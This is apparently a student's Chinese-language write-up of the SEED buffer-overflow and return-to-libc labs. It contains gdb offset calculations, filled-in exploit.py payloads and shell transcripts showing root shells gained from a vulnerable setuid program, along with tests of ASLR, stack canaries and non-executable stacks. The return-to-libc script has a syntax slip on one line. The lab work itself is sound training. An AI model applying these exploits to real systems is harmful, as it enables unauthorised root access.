Buffer Overflow Vulnerablility Lab

Task1. Buffer

修改/bin/sh 链接到/bin/zsh

```
[09/02/20]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

编译运行后，zsh 被调用。

```
[09/03/20]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/03/20]seed@VM:~$ ./call_shellcode
$
```

Task2.

修改 BUF_SIZE 为 16

```
#ifndef BUF_SIZE
#define BUF_SIZE 16
#endif
```

为得到%ebp 地址，使用 gdb 来 debug 程序。在 bof 函数处设置断点，继续运行。

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 21.
gdb-peda$ run
Starting program: /home/seed/stack_dbg
```

输出%ebp 的地址, buffer 数组首地址, 发现两者相差 24 字节, 则 offset=24+4=28

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeaf8
gdb-peda$ p &buffer
$2 = (char (*)[16]) 0xbfffeae0
gdb-peda$ p/d 0xbfffeaf8 - 0xbfffeae0
$3 = 24
gdb-peda$ q
```

将 exploit.py 的代码修改为如下图所示。

```
#################################################################
ret    = 0xbfffeaf8 + 121    # replace 0xAABBCCDD with the correct value
offset = 28            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
#################################################################
```

执行 exploit.py，生成 badfile 文件，运行 stack，出现新的 root 权限 shell，栈溢出漏洞利用成功。

```
[09/03/20]seed@VM:~$ python3 exploit.py
[09/03/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Task3.

注释后的结果为$，用户为 seed

```
[09/03/20]seed@VM:~$ gcc -o dash_shell_test dash_shell_test.c
[09/03/20]seed@VM:~$ sudo chown root dash_shell_test
[09/03/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/03/20]seed@VM:~$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$
```

取消注释后，用户变为 root

```
[09/03/20]seed@VM:~$ gcc -o dash_shell_test dash_shell_test.c
[09/03/20]seed@VM:~$ sudo chown root dash_shell_test
[09/03/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/03/20]seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

修改 exploit.py 后，按照 task2 的步骤运行 stack，获得 root 权限

```
[09/03/20]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[09/03/20]seed@VM:~$ python3 exploit.py
[09/03/20]seed@VM:~$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

Task4.

不能实现 task2 中的攻击了，原因是进行了地址随机化后，gdb 进行 debug 时得到的地址不再是运行 stack 程序时%ebp 的地址了。

```
[09/03/20]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/03/20]seed@VM:~$ ./stack
Segmentation fault
```

运行 shell 脚本后，成功获得了 root 权限的 shell。

```
The program has been running 35566 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 35567 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 35568 times so far.
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

Task5.

按照要求重新编译后执行 stack，报错并提示检测到栈溢出。

```
[09/03/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

Task6.

按照实验要求重新编译后运行 stack，出现错误不会得到 shell。

```
[09/03/20]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[09/03/20]seed@VM:~$ sudo chown root stack
[09/03/20]seed@VM:~$ sudo chmod 4755 stack
[09/03/20]seed@VM:~$ ./stack
Segmentation fault
```

non-executable 不允许在栈上运行 shellcode。

Return-to-libc Attack Lab

Task1.

修改 BUF_SIZE 为 16

```
#ifndef BUF_SIZE
#define BUF_SIZE 16
#endif
```

按照要求编译程序，并设置为 root 用户的 SET-UID 程序。

```
[09/03/20]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
[09/04/20]seed@VM:~$ gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
[09/04/20]seed@VM:~$ sudo chown root retlib
[09/04/20]seed@VM:~$ sudo chmod 4755 retlib
```

通过 gdb 调试得到 system 和 exit 的地址分别为 0xb7e42da0、0xb7e369d0。

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

Task2.

关闭地址随机后，编译并运行程序，得到 MYSHELL 的地址。

```
[09/04/20]seed@VM:~$ gcc -o getadd getaddress.c
getaddress.c: In function 'main':
getaddress.c:3:15: warning: implicit declaration of function 'getenv' [-Wimplici
t-function-declaration]
 char*shell =  getenv("MYSHELL");
               ^
getaddress.c:3:15: warning: initialization makes pointer from integer without a
cast [-Wint-conversion]
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~$ ./getadd
bffffdd6
```

Task3.

对 retlib.c 编译调试，在 bof 函数处设置断点

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file retlib.c, line 19.
gdb-peda$ run
Starting program: /home/seed/retlib_dbg
```

查看%ebp 和 buffer 数组的首地址

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffec18
gdb-peda$ p &buffer
$2 = (char (*)[16]) 0xbfffec00
gdb-peda$ p/d 0xbfffec18 - 0xbfffec00
$3 = 24
gdb-peda$ q
[09/04/20]seed@VM:~$
```

得到%ebp 相对 buffer 的偏移量。再根据此偏移量及上述步骤获得的地址修改

exploit.py 中的 X，Y，Z 及地址。

```
#!/usr/bin/python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xbffffdd6       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xb7e42da0   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little'

Z = 32
exit_addr = 0xb7e369d0     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

运行 python 代码，生成 badfile，再运行 retlib，成功获得 root 权限的 shell。

```
[09/04/20]seed@VM:~$ gcc -o retlib -z noexecstack -fno-stack-protector retlib.c
[09/04/20]seed@VM:~$ sudo chown root retlib
[09/04/20]seed@VM:~$ sudo chmod 4755 retlib
[09/04/20]seed@VM:~$ python3 exploit.py
[09/04/20]seed@VM:~$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Attack variation 1

若没有 exit()函数，退出 shell 时会出现段错误。

```
[09/04/20]seed@VM:~$ python3 exploit.py
[09/04/20]seed@VM:~$ ./retlib
#
Segmentation fault
[09/04/20]seed@VM:~$
```

Attack variation 2

攻击失败，由于修改了 retlib 的名称，导致环境变量的地址改变，badfile 里的地址也不再是正确的地址，故不能实现攻击。

```
[09/04/20]seed@VM:~$ python3 exploit.py
[09/04/20]seed@VM:~$ ./retlib
#
[09/04/20]seed@VM:~$ mv retlib newretlib
[09/04/20]seed@VM:~$ ./newretlib
zsh:1: command not found: h
[09/04/20]seed@VM:~$
```

Task4.

System 和 exit 的地址改变了，%ebp 的地址没有改变，且偏移量没有改变，即 X，Y，Z 均不变。

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffec18
gdb-peda$ p &buffer
$2 = (char (*)[16]) 0xbfffec00
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7589da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb757d9d0 <__GI_exit>
gdb-peda$ q
[09/04/20]seed@VM:~$
```